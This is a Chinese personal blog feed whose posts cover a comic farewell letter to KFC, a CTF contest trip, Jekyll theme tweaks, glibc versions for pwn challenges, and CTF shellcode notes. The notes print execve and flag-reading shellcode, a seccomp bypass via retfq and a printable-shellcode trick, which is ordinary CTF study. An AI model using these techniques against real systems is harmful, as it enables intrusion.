普通视图

发现新文章,点击刷新页面。
昨天以前Surager Blog

与肯德基绝交书

2023年4月17日 08:00

往事

肯德基(Kentucky Fried Chicken,肯塔基州炸鸡,简称KFC)是一家美国跨国连锁餐厅,也是世界第二大速食及最大炸鸡连锁企业。它由创始人哈兰·山德士(Colonel Harland Sanders)于1952年创建,主要出售炸鸡、汉堡、薯条、盖饭、蛋挞、汽水等高热量快餐食品 ⁵。您想了解更多关于肯德基的信息吗?

随便问了问 bing,得出了关于肯德基的介绍。

余幼时家贫,没有享受过什么朱缨宝饰、美味佳肴。所以我童年的梦想就是有一天能大快朵颐,换上漂亮的衣服,戴上时髦的帽子。

那是 2008 年,全国人民为奥运喝彩,为灾区祈福。也是在这一年,我们小县城迎来了第一家肯德基炸鸡店,也是成为了我眼中的“奢侈品”。

因为吃不起肯德基,肯德基自然就成了我心中的奢望。每当吃饭的时候,我嘴里嚼着海带丝、羊肉串 (小卖铺包装),心里却幻想着能够大快朵颐一顿肯德基;每当看到家有儿女的一家人欢乐地享受美食,我眼里羡慕着他们的幸福,心里却依然念念不忘一顿肯德基;家里突然停电了,我幼小的心灵如洪水决堤一般破防了,哭着喊着,心里想的仍然是吃一顿肯德基。

但是吃不得,彼时余家贫。

与肯德基

平常的一天,家人各忙各的,留下我没人照顾。家尊正要出差到市里办事,我便跟随着去了。

初入大都,万象更新。车水马龙的街道,拔地而起的高楼,来来往往的人群。走了好多地方,忙了一个上午。该找个地方吃点东西,歇歇上一会。

于是我暗自下决心,一定要抓住这个机会吃一顿肯德基。

初出此想法,老爹不以为然,主食及家常菜为宜。我不甘心就这样错过机会,再三请求午饭吃肯德基。老爹只好同意,省出自己的午饭钱给我买肯德基。

那时没有二维码,前台点单取餐。再三斟酌之后点了一个套餐便罢。等待正要焦急时,前台开始叫号。只见那一个员工忙里忙外把套餐收拾到托盘中,还不停地催促后厨快点。甚至忘了自己拿了什么东西,暂时放空自己的大脑问了一声 “汉堡是不是拿过了”,声音几乎被周围的噪音淹没了。老爹没听清,于是随便回答了一下。

我真心替这位员工感到高兴,他为自己的公司省下了一个汉堡。

吃完了这顿饭,我终于知道了什么是奢侈品。那就是花两倍的钱,却吃不到一半的饱。

我很遗憾,这次肯德基经历没有完全扑灭我对肯德基的热情。就这样,我在对肯德基的念念不忘和对第一次吃肯德基的失落中长大了。经济发展,家境改善,可是手头还是不宽裕,肯德基终归还是“奢侈品”。每次走进肯德基的店面,我都会犹豫不决,压抑不住想吃的心思与高出天际的价格使我心中矛盾重重。每次看到肯德基麦当劳这样的快餐店,我总会问自己几个问题,我能买得起吗,它真的值得吗,我什么时候能随心所欲地吃呢。

后来,我走到了武汉,走到了深圳,走到了哈尔滨,走到了全国各地。想吃就吃的梦想也随着几场比赛的落幕而实现了。

2022年的网鼎杯因为疫情的原因而延期了一年,直到2023年才如期举行。我怀着“能进决赛就是胜利”的心态参加了这场比赛。第一天的比赛成绩不错,我们成功地在青龙组挤进了决赛的名单。

晚饭吃了五分饱,还有些饿,于是我们选择了使用肯德基 19.9 元学生套餐来犒劳自己。可是点餐的过程却很不顺利,原本想要的香辣堡已经卖完了,只能换成其他口味的。我随便选了一个酥脆堡,没想到这个选择让我后悔不已。夜里闲着没事,拿起汉堡吃了起来。谁知道第一口咬下去,就感觉到肉非常地硬,像是有筋一样拉丝。直到我继续咬了第二口第三口第四口,才发现这块肉硬得像石头一样。肉的表面已经完全干透,油炸后放置太久的痕迹明显。肉的内部也没有多少水分和弹性,每一丝都透露着陈旧和腐败。果不其然,吃完后整个胃开始翻江倒海。整个食道都像被火烧了一样,上下一片灼热。

第二天起床就感觉到胃里不对劲了。因为今天带进赛场的不仅有比赛工具,还有我的肠胃炎。

提醒队友别吃别吃,未果。

我觉得肯德基的食品安全是一个既有优势又有挑战的问题,需要肯德基不断地努力和改进,也需要消费者和社会给予更多的信任和支持。

bing 对肯德基食品安全问题的回答还是非常乐观的,但是在我看来,肯德基

你就是歌姬吧

我庆幸自己经历了这次肯德基的惨痛教训,它彻底地浇灭了我心中对肯德基的渴望。也许从此以后,我会错过很多让人垂涎的美味,但是我也会省下不少钱来做更有意义的事情。我不会再为了一时的口腹之欢,而冒着食品安全的风险,对我的胃进行大清洗。

吃一堑长一智,谢谢啊,肯德基。

绝交书

亲爱的肯德基:

您好!您就是歌姬吧。您是我第一个尝试的西式快餐,你的堡、翅、薯条、百事可乐,都是我童年的美好阴影。你曾经是我心目中的鸡吧,也曾经是我最信任的鸡吧。

但是,你让我失望了,也让我伤心了。今天,我决定跟你说再见,结束我们多年的情谊。具体如下:

  • 所有肯德基的汉堡卷种类、全鸡种类、米饭种类、冰激凌种类、咖啡种类食物,烤翅、鸡块、鸡米花等小食,永不再吃。
  • 除优惠力度大于 50% 的活动外,一律不考虑购买任何肯德基食品。
  • 如近五年内出现肯德基用劣质、不合格的原料的事件,上一条的前提条件作废。

所以,请原谅我的自私和决绝,请接受我的告别和祝福。那就是:

肯德基,

你就是歌姬吧

2021湖湘杯旅游

2021年12月12日 08:00

前言

有事,换人。于是👴就这么来了。光速定机票,芜湖。

茶愁

茶愁

小时候,
茶愁是一场短短的比赛,
我在这头,
决赛在那头。

长大后,
茶愁是一次长长的等待,
我在这头,
比赛在那头

后来啊,
茶愁是一回糟糕的答题,
我在里头,
晋级在外头。

而现在,
茶愁是一张核酸的报告,
我在这头,
茶颜在那头。

一到期末事倍多,火急火燎地写完作业以后就还剩 5 小时要上飞机了。👴慢慢悠悠地整了丶饭,收拾了收拾东西,然后玩手机等时间。

没曾想,我看到了这个。

我 tm 直接完蛋。核酸检测没做,直接把人给你🐏️了。

但是!这时候绝对不能放弃。我在千钧一发之刻开始考虑这是不是我此生唯一的喝茶颜悦色的机会。于是大脑 8TB 核 cpu 飞速运转,生成了一个完整的救亡计划。

graph LR
	a[马上上地铁] --> b[到最近的医院]
	b --> c[在医院下班之前<br>做完核酸检测]
	c-->d[到长沙打印电子版]

一套流程跑下来,完美。

于是👴马上 11 号线转 2 号线青大附医下车一路小润满头大汗到核酸检测地点,赶在结束之前 20 分钟完成了核酸检测。完美。

在回地铁的路上,我脑海中微微酝酿出了这首诗。

而现在,
茶愁是一张核酸的报告,
我在这头,
茶颜在那头。

(我 tm 直接哭死

夜里的

落地直接一个滴滴到酒店。

酒店是真不戳。两个队友 ha1 和 guoke 住一间,所以我就单人一个大床房。房间是真的大,把洗浴间和卧室中间的墙去掉的话,这空间都够打一套自由搏击的。有单独的浴缸,电和灯都是自动的。真的🐂️🍺️。就是自动灯有点哈人,洗着洗着澡灯给灭了,给👴吓一跳。

酒店

吃饭。酒店周围什么都没有。吃饭得走十几分钟到比赛场地周围去吃。第一顿没有什么思路,老样子,掏出随机数生成器来,直接开始 random。

天选烤肉。直接开始点单。整点牛肉、五花。有一个香肠,👴直接开冲。

烤肉

香肠味道相当不错。竖着烤还给我练了平衡性。彳亍。这波我全功。

一波整完,意犹未尽。直接点第二波。一个肥肠一个猪肉。猪肉不管烤不烤熟全是白的,有点难整。肥肠有点太肥,差点给👴整吐了。这波我全责。

吃完饭当然是茶颜悦色了。

茶颜悦色

不得不说,茶颜悦色的企业文化有丶吊。热情,服务态度好。进门直接开始一波口号的喊。点单的时候先喊一轮欢迎,然后店员开始用扩音器跟宁交流点单。点完之后再来一波口号。小票的长度是我以前从未想到过的,比我胳膊还长。上面的故事从创业之初写到现在,属于是不忘初心。完事拿到茶要走来再给你来一套欢迎下次光临。说实话,我社恐,我听着贼尴尬。但是我要是入职的话我绝对社交牛逼症拉满喊得最大声。

第一次点了个幽兰拿铁。上面一看还以为是个冰激凌,下面藏着拿铁。一会儿全给化下去了。

幽兰拿铁

夜里智慧到 2 点多,听闻 Mr.R 赶回去上课的消息。于是约好一起买票回青。

坐牢

6 点多起床,洗漱完奔下楼吃了点辣味炒饭,上了大巴到了比赛现场。

到现场直接茶歇区拿两瓶水,抢一血(

后面才知道比赛开始后去厕所和茶歇区都要登记,👴不能像以前那样随意肆虐茶歇区了。

然后就开始了一天的坐牢时间。

开局坐会儿牢 + 领导讲话,一套流程走完之后开始比赛。

开局把题目全拉下来,存个原件。然后直接开始找洞。一个非常规堆题,一个小说题塞个栈溢出,一个unicorn题,一个看着像堆的后门题。

我直接奔着栈溢出就过去了。先防一波,直接 ida patch 小溢出字节数 tar 一下扔上去。然后发现👴的 ftp 不好使。只能手动扔给 ha1 然后再上传。EXP利用成功。👴寻思这能利用成功?!

然后直接考虑开始攻击。一路摁 2 可以跳过小说剧情到达栈溢出,于是直接

for i in range(12):
    a.sendline("2")

直接一顿乱冲,泄露 canary,栈迁移一气呵成。二血还是三血来着。血亏。

之后开始修菜单堆+后门那题。直接上去把后门给🐏️掉,tar 一下扔上去。还是 EXP利用成功。nmd 后门都🐏️了还能打通?

看那道阴间堆题,无果。看 unicorn 题,看懂了逻辑,没看懂怎么用。

隔壁 web 怎么也修不好。guoke 看了一眼 upload 示例,把打包的文件夹去掉,直接打包文件,修补成功。wdnmd 我方才发现我直接没放 update.sh,重大失误,痛失好几千分,背大锅。

栈迁移修好,后门堆修好。之后开始坐牢。

看了半天后门堆,怎么也没有想出怎么利用这个 clnt_create 来返回非 0。于是打开一份 libc-2.31.so 源码进行一波分析。直到试了试这个漏洞。

if (strcmp (proto, "unix") == 0)
    {
      memset ((char *)&sun, 0, sizeof (sun));
      sun.sun_family = AF_UNIX;
      strcpy (sun.sun_path, hostname); // 这个洞
      sock = RPC_ANYSOCK;
      client = clntunix_create (&sun, prog, vers, &sock, 0, 0);
      if (client == NULL)
	return NULL;
#if 0
      /* This is not wanted.  This would disable the user from having
	 a timeout in the clnt_call() call.  Only a call to cnlt_control()
	 by the user should set the timeout value.  */
      tv.tv_sec = 25;
      tv.tv_usec = 0;
      clnt_control (client, CLSET_TIMEOUT, (char *)&tv);
#endif
      return client;
    }

这题是给了 libc 的,只不过 strings 出来是 2.27 就没管了。但在测试时,本地报错是 stack smashing detected,远程测试是 segmentation fault

好家伙,这不就是把 canary 给去掉了嘛。直接爆破填充长度,拿 2 血。

后面盯着 unicorn 的源码看了半天,没分析出啥来。开摆。

web 老哥修了一天的 vote 没有修好,属实是有点难受。

最后做梦一般地从 20+ 到了第 10 名,又到了第八,第七,第六,第五。

前面的老哥送了发火箭,送到了第四名。实现了奖金翻两番。wtcl,这波我全责,全责。

漏🐂️

奉劝出题人少漏 ID(包括不小心),否则 100% 成为阴间出题人。

橘子洲

颁完奖,吃完饭,开始旅游。直接从五一广场刷琴岛通坐两站地铁到了橘子洲。

上洲后,感觉到一股公园的味道。树林郁郁葱葱。因为洲是南北走向的,宽度不大。所以洲上的植被显得格外旺盛。洲上的池塘、草坪,散发出一股清新,微风为伴,漫步其旁,颇有一番风味。洲上塔与亭该是被保护得不错,也许能够看到当年伟人在此指点江山,彰书生意气。

因为穷因为想亲自感受橘子洲的文化,我选择步行游览整个橘子洲南段。一路走个来回有些许累。

走了一个小时左右,毛泽东青年艺术雕像便出现在不远的前方。游客非常多,都在与伟人进行合影。当年他拯救了整个中华民族,正如今天人人都拥护着他。还记得不久前我刚刚加入共产党,发誓为共产主义奋斗终身,用不叛党。在 20 岁的年华,就应该把自己的青春献给伟大的祖国建设事业当中。风华正茂的青年人应该做时代的挑灯者,应该做时代的太阳。

来回加起来歇息了大约有五六次。大概路是真的太长了。

橘子洲1

橘子洲2

橘子洲3

归程

晚上在五一广场嗦了点面,就来到了机场。

即将告别仅仅呆了两天的长沙,心中实在有点不舍。在这可以轻松地喝到茶颜悦色,可以放下生活中的杂事,感受在赛场上解题的艰苦和解出题来的快乐。一切都挺美好,都是完美生活的一部分。不过旅程总算会到达终点,人还是要回到自己的生活中,继续守自己的岗位。

最后一杯茶颜悦色。

茶颜悦色3

相与步于飞机,寐,Mr.R 亦寝。

想长沙

我的茶颜悦色,我好想你啊😭️

好想你,茶颜悦色,茶颜悦色

茶颜悦色

日遇三险II

2021年9月6日 08:00

本文仅代表个人观点。如有冒犯,请直接开骂。

因何而起

2021 年夏季学期,由于没什么事干,本人准备在没什么事的时候进行一波博客框架的更换,顺便让自己的博客主题能够自主可控。前几天开始进行此事的筹划。终于在调查了一圈之后选择了原框架(

至于为什么不肯放弃 jekyll,那必然是自己不想从头对一个复杂的博客框架进行学习。平时对 PWN 题目的逆向就够我受的了,现在再去看这些不可名状的代码,想都不要想。

所以这一个博客改造计划便开始了。

大刀阔斧

首先推一下主题作者的原主题 jekyll-theme-WuK。之所以我选择这一个主题,是因为这一主题从字体、背景等设置上更加偏向于国人的习惯,阅读起来更加舒适。至少我不会去强行选一个英语系开发者写的办公风主题。

但是这套主题经过 那个男人批评,以及我读完《写给大家看的设计书》之后的自我审视后,愈发感觉需要调整。

主页

首先就是主页。这个是最能体现诟病的一处。

事件一:朋辈导生尴尬时刻。本人写过选课相关的文章。在推荐给新生之后,新生返回主页,在 home 找了半天没找到文章在哪里。

事件二:B 哥的批评。B 哥说我网站很乱。我问他哪里乱,他说哪里都乱。

事件三:那个男人的批评。大概就是说,你们这些年轻人,整天花里胡哨的。你这博客都能做 PPT 了。

为了解决这些,干脆直接把主页设置成单入口。因此只留下了博客的大标题,以及一个大大的 ————>QuickStart<———— 按钮,链接到 /tags/。这样既保留了主页的展示功能(让你知道 👴 是 👴 而不是其他的 👴 ),又能保持网站的简洁性。

标签和归档

在我使用的版本,标签和归档页面前面的字体是不对齐的。如果文章少还影响不大,文章一旦变多,前面的时间栏就 犬牙差互,斗折蛇行,严重影响观感。

CSS 中对 font-family 的解析是按照你书写的顺序来的。

for i in font_family:
    if i.exist():
        i.screen_print()
        break

所以一定是因为某一个非等宽字体被放到了前面。

... {
    font-family: PingFang SC, Menlo, Monaco, "Courier New", Microsoft JhengHei, monospace;
}

这样直接三个苹果字体甩到脸上,windows 直接忽略。肯定是不行的。我直接选择把三个等宽英文字体甩脸,这样能直接把英文全吃掉。

无意义的统计信息

本主题原来的文章开头有发表时间、对字数的统计、和按照阅读习惯对字数转换成的阅读时间、使用的 license 以及 打赏链接。

对于多种主题博客进行考察之后,发现有很少人会把过多的信息放到最上面,甚至有人只放一个标题。于是将 license 和 链接 放到了文章的最后面,紧跟着评论。这样既不影响阅读,也不失他的作用。

TODO

admonition,这是我一直想做的。大概像下面这样

这是一个 success,log.success(“libc_base = “+hex(libc_base))

这是一个 info,context.log_level = ‘info’

这是一个 warning,黄灯亮了等一等

这是一个 error,但是没有出错

这一部分我一直想加到博客中。用过 pwntools 的选手应该有感触。用 info(hex(address)) 和用 print(hex(address)) 的区别还是很大的吧。你是想用 print 打印出一个不起眼的地址,还是用一个 [+] 来表示出你泄露出 libc 地址的喜悦?

然而,做这个直接让我的博客下线了整整半天。

对比 Python-Markdown 这门方言,显然 kramdown 对 admonition 的支持比较差,需要自己定制一个。

首先被我发现有这个特性的是 nshipster.com 这个项目。显然,此项目使用 _plugins 下的 admonition-block.rb 进行了插件安装,注册了 info warning error 三个 liquid 标签。当要在 markdown 中使用时,只需要用 {% info %} 这样的标签进行包裹文本,对应的文本就会在渲染时被加上 <div class="admonition info">。对应的 scss 文件在此时对这个 class 进行渲染,就可以得到 admonition 了。

但是这有一个问题,那就是如何注册标签。

# frozen_string_literal: true

module Jekyll
  class AdmonitionBlock < Liquid::Block
    def initialize(tag_name, arguments, tokens)
      super

      @type = tag_name
    end

    def render(context)
      content = super
      <<~EOD
        <aside class="admonition #{@type}" markdown="1">
         #{content}
        </aside>
      EOD
    end
  end
end

Liquid::Template.register_tag('info', Jekyll::AdmonitionBlock)
Liquid::Template.register_tag('error', Jekyll::AdmonitionBlock)
Liquid::Template.register_tag('warning', Jekyll::AdmonitionBlock)
Liquid::Template.register_tag('success', Jekyll::AdmonitionBlock)

这是我改写之后的版本,注册标签,让这个标签包裹的文本在渲染时被套上 <aside class="admonition #{@type}"> 这样的标签。

但是在 jekyllcn.com 相关文档中提到了:

GitHub Pages 是由 Jekyll 提供技术支持的,考虑到安全因素,所有的 Pages 通过 –safe 选项禁用了插件功能,因此如果你的网站部署在 Github Pages ,那么你的插件不会工作。 不过仍然有办法发布到 GitHub Pages,你只需在本地做一些转换,并把生成好的文件上传到 Github 替代 Jekyll 就可以了。

这就意味着我需要把 jekyll build 生成的 _site 复制到 git 里面然后 push 到 github 上。相当于把 github pages 原生支持变成了第三方。

这倒是也不麻烦。很多 github pages 用户都是第三方主题。

于是把插件安装到 _plugins 目录。直接进行 jekyll build。报错。

jekyll 3.9.0 | Error: Liquid syntax error (line 86): Unknown tag ‘info’

也就是说我的标签就根本没有被注册成功。于是我想起来 jekyll 文档里面的 所有的 Pages 通过 --safe 选项禁用了插件功能。怀疑是不是本地配置就是 github-pages 的配置。

#gem "jekyll", "~> 4.1.1"
# This is the default theme for new Jekyll sites. You may change this to anything you like.
#gem "minima", "~> 2.5"
# If you want to use GitHub Pages, remove the "gem "jekyll"" above and
# uncomment the line below. To upgrade, run `bundle update github-pages`.
gem "github-pages", group: :jekyll_plugins

果然。把上面两个 gem 注释去掉之后再次 build,成功。

崩溃

_site 目录下的所有文件 push 到 github repo,Environments 也正常启动了,上述的诸多改动也显示正常。但是在点进一篇文章时出现了错误。

本以为文章访问是正常的,但显示的却是 这个页面

猜想一:目录不对。查看 _site 目录下有各个文章的文件夹,文件夹下有 index.html,但是从标签或者归档页面下访问的 url 没有 index.html。但是加上以后也不好使。 查看 github repo,发现文件夹名称带下划线前缀的都不可见。因此建立 posts 文件夹,放进去,不好使。怀疑直接加文章名可以,尝试,失败。

猜想二:所有页面直接导向 404.html。直接证明这个猜想是错误的。只有文章导向了 404,tags 等页面仍然正常。我直接把 404 给🐏️了都不好使。

猜想三:还是目录不对。一开始拿 nmap 扫了一下,但是我不知道 nmap 是干啥的,随便扫了一下也不知道啥意思。然后咨询 aidai,他建议写个 shell 进去看看博客的目录,但是我怕被🐏️掉。最后想用 actions 定制一个 docker 指令来定向目录来部署。最后发现这玩意根本就不是用来部署的。

面对着一个 404 页面,我陷入了迷茫。

我是谁?

我在干什么?

我为什么要写博客?

ruby 怎么还不倒闭?

到现在已经完全麻了。

此时有两个选择,一个是把版本回退,无事发生;另一个是换个思路,重新来过。

在我即将考虑回退之时,我,看到了 kramdown。

文档里面有这么一段:

Here are some examples for block IALs:

A simple paragraph with an ID attribute.
{: #para-one}

> A blockquote with a title
{:title="The blockquote title"}
{: #myid}

{:.ruby}
    Some code here

意思是我可以通过添加 { } 的方法对网页标签加 class。也就是说,我可以通过 markdown 将此问题转化为 css 的问题。

这简单,直接一个 <link> 把 css 给引入就完事了。想法成立,实践。

jekyll 原生支持 sass,于是建立一个 _sass,里面放 scss 文件。然后在 css 文件夹,只把上述文件 import 一下,head 引入。再写一个 test。成功。

test

本地测试成功。既然没有用到插件,那么 github pages 应该也好使。直接整个文件夹复制过来,git push,成功。

👴 的博客从好使到大刀阔斧到崩了再到好使,几乎把整个博客代码看了一遍,用自我定制的方法对博客实现了自主可控。

妥协

接上回……

ProductName: macOS,ProductVersion: 11.4

今年年初之时,本人电脑出现了指纹解锁失败的情况。之后经过多次调查,真实情况是某个驱动无缘无故进行无限制 fork,把内存跑炸了。如上的 info 信息,本人在上次日遇三险之后忍受不了密码解锁的麻烦。选择了向系统妥协,将自己的 mac 升级到了 macOS Bug Sur。

x86架构下pwn题目libc版本概述

2021年5月11日 08:00

鉴于最近关于 libc 的讨论又开始兴起,在此稍作总结。

关于什么是 libc :GNU C库

libc版本

如何查看

一种方法是直接运行 libc。

$ /lib/x86_64-linux-gnu/libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

另一种是 strings 加 grep

$ strings /lib/x86_64-linux-gnu/libc-2.27.so | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
Compiled by GNU CC version 7.5.0.

大版本

在一般情况下,主流的 ubuntu 运行的 libc 大版本如下:(截至2021-05-13)

ubuntu版本 libc版本
ubuntu 16.04 LTS 2.23-0ubuntu
ubuntu 18.04 LTS 2.27-3ubuntu
ubuntu 20.04 LTS 2.31-0ubuntu

小版本

pwn 题目的搭建一般使用 docker。大多数出题人会在 Dockerfile 里面这么写:

RUN apt-get update && apt-get -y dist-upgrade

此外还可能安装一些 xinetd 之类的东西。这些操作都有可能将 libc 升级到目前大版本的最高小版本:

例如,截至 2021-05-13 版本如下:

ubuntu16.04 : 2.23-0ubuntu11.2

ubuntu18.04: 2.27-3ubuntu1.4

ubuntu20.04: 2.31-0ubuntu9.2

因此,常用版本一般是这三个。

我们可以在以下几个网站获取二进制文件:

https://launchpad.net/ubuntu

https://pkgs.org/download/libc6

也可以获取源码:

https://ftp.gnu.org/gnu/glibc/

下面对它们的特点进行概述:

2.23-0ubuntu11.2

因为 ubuntu 16.04 已经于 2021-04-30 停止支持,此 libc 成为 ubuntu16 libc-2.23.so 的最后一个版本,也是 ubuntu系统 heap 中没有 tcache 的最后一个版本。可利用的漏洞较后两个版本来说更多一些。

2.27-3ubuntu1.4

加入了 tcache。由于 tcache double free 的严重性,2.27-3ubuntu1.3 中加入了 key 机制。本版本保留了 2.27-3ubuntu1.3 加入的 key 机制。

所以想体验原生 tcache double free 的同学可以找到 1.2(版本名称 ubuntu 后面的数字,下同) 以及之前的 libc 进行体验。

这里给出一种不怎么好但是简单的解决方案:

sudo apt install libc6=2.27-3ubuntu1.2
sudo apt install libc-dev-bin=2.27-3ubuntu1.2
sudo apt install libc6-dev=2.27-3ubuntu1.2
sudo apt install libc6-dbg=2.27-3ubuntu1.2

小tips:buuoj 的 ubuntu18 靶机中使用的 libc 版本是 2.27-3ubuntu1

另外,2.27 大版本下可能用到的其他小版本,有2.27-3ubuntu12.27-3ubuntu1.22.27-3ubuntu1.3

2.31-0ubuntu9.2

在 tcache_entry 中 加入了 key。对 unsorted bin 检查巨多。极大地限制了堆块的利用。另外还能在 gcc 编译选项里面加入 cet 或者 🐏️ switch。很蛋疼。

cet(ida 7.5以下版本 PLT 解析失败)解决指路:M4tsuri/ida_fxxk_cet

另外,2.31 大版本下可能用到的其他小版本,有2.31-0ubuntu92.31-0ubuntu9.1

所以,需要准备的 libc 并不多,准备个 8 个左右就够应付比赛了。

libc加载

当一个动态链接的程序运行起来之后,libc 就会通过链接器 (ld) 加载到内存中,此时用户编写的二进制程序便能够调用其中的函数。在本地调试 pwn 题目时,默认加载的 libc 是本地的 libc。32 位 libc 目录为: /lib/i386-linux-gnu/libc.so.6 或者 /lib32/libc.so.6 ,64 位 libc 目录为 /lib/x86_64-linux-gnu/libc.so.6。而 libc.so.6 是一个指向 ./libc-xxx.so 的一个软链接。

lrwxrwxrwx 1 root root   12 Dec  8 00:38 libc.so.6 -> libc-2.27.so

所以

即使本地 exp 中写了

libc = ELF("./libc-xxx.so")

也是默认使用本机的 libc。验证如下(使用 libc = ELF("./libc-xxx.so") 写脚本,之后进行 gdb attach):

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ...
    0x562ccc0dc000     0x562ccc0fd000 rw-p    21000 0      [heap]
    0x7f6ee40a3000     0x7f6ee428a000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f6ee428a000     0x7f6ee448a000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f6ee448a000     0x7f6ee448e000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f6ee448e000     0x7f6ee4490000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f6ee4490000     0x7f6ee4494000 rw-p     4000 0
    0x7f6ee4494000     0x7f6ee44bd000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f6ee46a0000     0x7f6ee46a2000 rw-p     2000 0
    0x7f6ee46bd000     0x7f6ee46be000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f6ee46be000     0x7f6ee46bf000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
    ...

原因一是 ELF 只是获取了目标 libc 的信息,并未进行加载。再者如下:

$ ldd pwn
	linux-vdso.so.1 (0x00007ffe7cf8a000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f74a57b5000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f74a5daa000)

libc 和 ld 的路径已经默认写死在程序中了。

除非使用 ld 来运行程序

p = process(['./ld-xxx.so','./pwn'],env={"LD_PRELOAD":"./libc-xxx.so"})

但是笔者和 某dai 亲测 ld-2.23.so 并不好使。原因未知,推测是 2.23 版本有问题。

或者使用 patchelf 来将写死的 libc 换成目标 libc,这里网上教程很多,不再赘述。

(未解决)如何判断远程 libc

如果不给libc,全靠猜。

猜可以根据

  1. 泄露一个 libc 地址,然后查一下
  2. double free 一下看报错
  3. chunk 的个数限制
  4. 题目的难度和白给程度
  5. seccomp 设了多少
  6. 搁这挨个试

shellcode 的 issue

2021年5月3日 08:00

本文章为个人笔记性质。如有错误,请多多指教。

谐音梗。issue──>艺术

前言

CSAPP 中 有一章专门讲了 Y86-64 这一指令集。Y86 指令中,前 4bit 是指令的类型,通过这一位我们可以判断指令的类型。之后通过一些翻译类型的题目,我感受到了指令的构成。并且通过这些指令初步感受到了各类指令所占空间的大小。正好前一段时间做过一道 shellcode 的题目,因此来研究一波。

从 pwntools 说起

i386 shellcraft.sh()

 	/* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

amd64 shellcraft.sh()

 	/* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

这些都是 pwntools 自带的 shellcode。可以直接拿来用。如果不想直接使用这些,可以自行构造。

例如一些汇编指令类:

shellcraft.push('rax')
shellcraft.mov('eax', 'SYS_execve')
shellcraft.xor(0xdeadbeef,'rsp',32)

或者你想直接利用 Pwntools 来写 orw:

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(0,'rsp',0x30)
shellcode += shellcraft.write(1,'rsp',0x30)

结果如下:

    /* open(file='/flag', oflag=0, mode=0) */
    /* push '/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push SYS_open /* 2 */
    pop rax
    syscall
    /* call read(0, 'rsp', 0x30) */
    xor eax, eax /* SYS_read */
    xor edi, edi /* 0 */
    push 0x30
    pop rdx
    mov rsi, rsp
    syscall
    /* write(fd=1, buf='rsp', n=0x30) */
    push 1
    pop rdi
    push 0x30
    pop rdx
    mov rsi, rsp
    /* call write() */
    push SYS_write /* 1 */
    pop rax
    syscall

这么一来,我们可以直接利用 pwntools 来进行常规 shellcode 的编写了。在没有进行 字符限制 的情况下,直接利用 shellcraft 确实是很方便的方法。

如果遇到了禁用 open 系统调用的题目,那一般会故意留一个 ALLOW 的系统调用 fstat。系统调用号为 5。但是在 32 位运行模式下 5 号系统调用是 open。所以可以通过 retfq 指令进行运行模式的转换,从而达到能够使用 open 系统调用的效果:

push retaddress
push 0x23
retfq

注意 retaddress 会被解析成 32 位的地址

重新回到 64 位运行模式的方法:

jmp 0x33:retaddress

但是

但是总有一些题目、一些出题人喜欢在题目里面塞💩️。那么如何限制 shellcode 呢?很简单无脑的一种方法就是限制输入的字符,如果力求模拟真实情况的话。例如:

{
    char buf[32];
    read(0,buf,32);
    for (int i=0;i<strlen(buf);i++){
        if(buf[i] < 32 || buf[i] > 126) exit(-1);
    }
}

这样就直接可以限制输入的 shellcode 为可打印字符。考虑到这种情况,首先考虑我们需要的系统调用能不能用。int 0x80 所对应的字节码是 CD 80,明显不可打印;syscall 对应的字节码是 0F 05 ,也是不可打印的。首先想到的是用指令在输入后对 shellcode 进行操作,使其变成对应的系统调用。例如:

// gcc -g -m64 -z execstack -no-pie shellcode1.c -o shellcode1
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    char buf[0x400];
    int n, i;
    n = read(0, buf, 0x400);
    if (n <= 0) return 0;
    for (i = 0; i < n; i++) {
        if(buf[i] < 32 || buf[i] > 126) return 0;
    }
    ((void(*)(void))buf)();
}

我们用 sub byte ptr [rsi + 0x], dl 指令将两个可打印字符写成 syscall

payload = asm("""
push 0x6f
pop rdx
push rbx
push rbx
push rbx
push rsp
pop rsi
sub byte ptr [rsi+0x3e], dl
